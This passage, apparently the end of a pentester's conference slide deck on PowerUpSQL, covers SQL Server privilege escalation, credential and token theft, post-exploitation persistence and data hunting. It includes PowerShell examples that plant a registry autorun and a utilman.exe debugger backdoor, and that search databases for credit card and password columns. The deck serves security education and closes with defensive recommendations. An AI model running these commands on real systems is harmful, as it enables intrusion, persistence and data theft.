<td>Process Migration (Remote DLL or Shellcode Injection)</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>Steal Authentication Token from SQL Server service process</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
<tr>
<td>Log into SQL Server as a local administrator</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Log into SQL Server as a LocalSystem</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Log into SQL Server in Single User Mode as a local administrator</td>
<td>?</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td>x</td>
</tr>
</tbody>
</table>
## Escalating Privileges: OS Admin to SysAdmin

<table>
<thead>
<tr>
<th>Approach</th>
<th>Account Password Recovery</th>
<th>Account Impersonation</th>
<th>Default Sysadmin Privileges</th>
<th>Common Tools</th>
</tr>
</thead>
<tbody>
<tr>
<td>Read LSA Secrets (Because service accounts)</td>
<td>X</td>
<td></td>
<td></td>
<td>Mimikatz, Metasploit, PowerSploit, Empire, LSADump</td>
</tr>
<tr>
<td>Dump Wdigest or NTLM password hash from Memory</td>
<td>X</td>
<td></td>
<td></td>
<td>Mimikatz, Metasploit, PowerSploit, Empire</td>
</tr>
<tr>
<td>Process Migration (Remote DLL or Shellcode Injection)</td>
<td></td>
<td>X</td>
<td>Metasplt, PowerSploit, Empire Python, Powershell, C, C++</td>
<td></td>
</tr>
<tr>
<td>Steal Authentication Token from SQL Server service process</td>
<td></td>
<td>X</td>
<td>Metasplt, Incognito, Invoke-TokenManipulation</td>
<td></td>
</tr>
<tr>
<td>Log into SQL Server as a local administrator</td>
<td>X</td>
<td></td>
<td>Any SQL Server client.</td>
<td>Note: Only affects older versions.</td>
</tr>
<tr>
<td>Log into SQL Server as a LocalSystem</td>
<td>X</td>
<td></td>
<td>Any SQL Server client and PSEexec.</td>
<td>Note: Only affects older versions.</td>
</tr>
<tr>
<td>Log into SQL Server in Single User Mode as a local administrator</td>
<td>X</td>
<td></td>
<td>DBATools</td>
<td></td>
</tr>
</tbody>
</table>
Escalating Privileges: DEMO

Invoke-SQLImpersonateService
(Wraps Invoke-TokenManipulation)
Common Post Exploitation Activities
Post Exploitation: **Overview**

Common Post Exploitation Activities

1. Establish Persistence
   - SQL Server Layer: startup procedures, agent jobs, triggers, modified code
   - OS Layer: Registry & file auto runs, tasks, services, etc.

2. Identify Sensitive Data
   - Target large databases
   - Locate transparently encrypted databases
   - Search columns based on keywords and sample data
   - Use regular expressions and the Luhn formula against data samples

3. Exfiltrate Sensitive Data
   - All standard methods: Copy database, TCP ports, UDP ports, DNS tunneling, ICMP tunneling, email, HTTP, shares, links, etc. (No exfil in PowerUpSQL yet)
## Post Exploitation: Persistence

<table>
<thead>
<tr>
<th>Task</th>
<th>Command Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Registry Autorun Persistence</td>
<td><strong>Get-SQLPersistRegRun</strong> -Verbose -Name EvilSauce -Command &quot;\EvilBox\EvilSandwich.exe&quot; -Instance &quot;SQLServer1\STANDARDDEV2014&quot;</td>
</tr>
<tr>
<td>Debugger Backdoor Persistence</td>
<td><strong>Get-SQLPersistRegDebugger</strong> -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance &quot;SQLServer1\STANDARDDEV2014&quot;</td>
</tr>
</tbody>
</table>
Post Exploitation: Persistence
## Post Exploitation: Finding Data

<table>
<thead>
<tr>
<th>Task</th>
<th>Command Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Locate and Sample Sensitive Columns and Export to CSV</td>
<td>Get-SQLInstanceDomain -Verbose</td>
</tr>
</tbody>
</table>
Hunting for Sensitive Data
# Import the module
Import-Module C:\PowerUp\PowerUp.ps1

# Search for sensitive data
Get-SQLInstanceDomain -Verbose
Get-SQLColumnSampleDataThreaded -Verbose -SampleSize 2 -Keywords "credit,card,password" -NoDefaults | Format-Table -AutoSize
General

Recommendations
General Recommendations

1. Enforce **least privilege** everywhere!

2. **Disable** dangerous default stored procedures.

3. Install **security patches** or upgrade to latest version.

4. Audit and **fix insecure configurations**.

5. **Use policy based management** for standardizing configurations.

6. **Enable auditing** at the server and database levels, and monitor for potentially malicious activity.
Take Aways

1. SQL Server is everywhere
2. SQL Server has many trust relationships with Windows and Active Directory
3. SQL Server has many default and common configurations that can be exploited to gain access
4. Tons of domain users have the ability to login into SQL Server
5. Service accounts have sysadmin privileges
6. Shared service accounts can be dangerous
7. PowerUpSQL can be used for basic auditing and exploiting of common SQL Server issues

@_nullbind
https://github.com/netspi/PowerUpSQL
**PowerUpSQL Overview: Thanks!**

<table>
<thead>
<tr>
<th>Individual</th>
<th>Third Party Code / Direct Contributors</th>
</tr>
</thead>
<tbody>
<tr>
<td>Boe Prox</td>
<td>Runspace blogs</td>
</tr>
<tr>
<td>Warren F. ( RamblingCookieMonster)</td>
<td>Invoke-Parallel function</td>
</tr>
<tr>
<td>Oyvind Kallstad</td>
<td>Test-IsLuhnValid function</td>
</tr>
<tr>
<td>Kevin Robertson</td>
<td>Invoke-Inveigh</td>
</tr>
<tr>
<td>Joe Bialek</td>
<td>Invoke-TokenManipulation</td>
</tr>
<tr>
<td>Antti Rantasaari, Eric Gruber, and Alexander Leary, @leoloobeek, and @ktaranov</td>
<td>Contributions and QA</td>
</tr>
<tr>
<td>Khai Tran</td>
<td>Design advice</td>
</tr>
<tr>
<td>NetSPI assessment team and dev team</td>
<td>Design advice</td>
</tr>
</tbody>
</table>
### Questions?

<table>
<thead>
<tr>
<th>Name</th>
<th>Scott Sutherland</th>
</tr>
</thead>
<tbody>
<tr>
<td>Job:</td>
<td>Network &amp; Application Pentester @ NetSPI</td>
</tr>
<tr>
<td>Twitter:</td>
<td>@_nullbind</td>
</tr>
</tbody>
</table>
| Slides:  | http://slideshare.net/nullbind  
|          | http://slideshare.net/netspi  |
| Blogs:   | https://blog.netspi.com/author/scott-sutherland/  |
| Code:    | https://github.com/netspi/PowerUpSQL  
|          | https://github.com/nullbind  |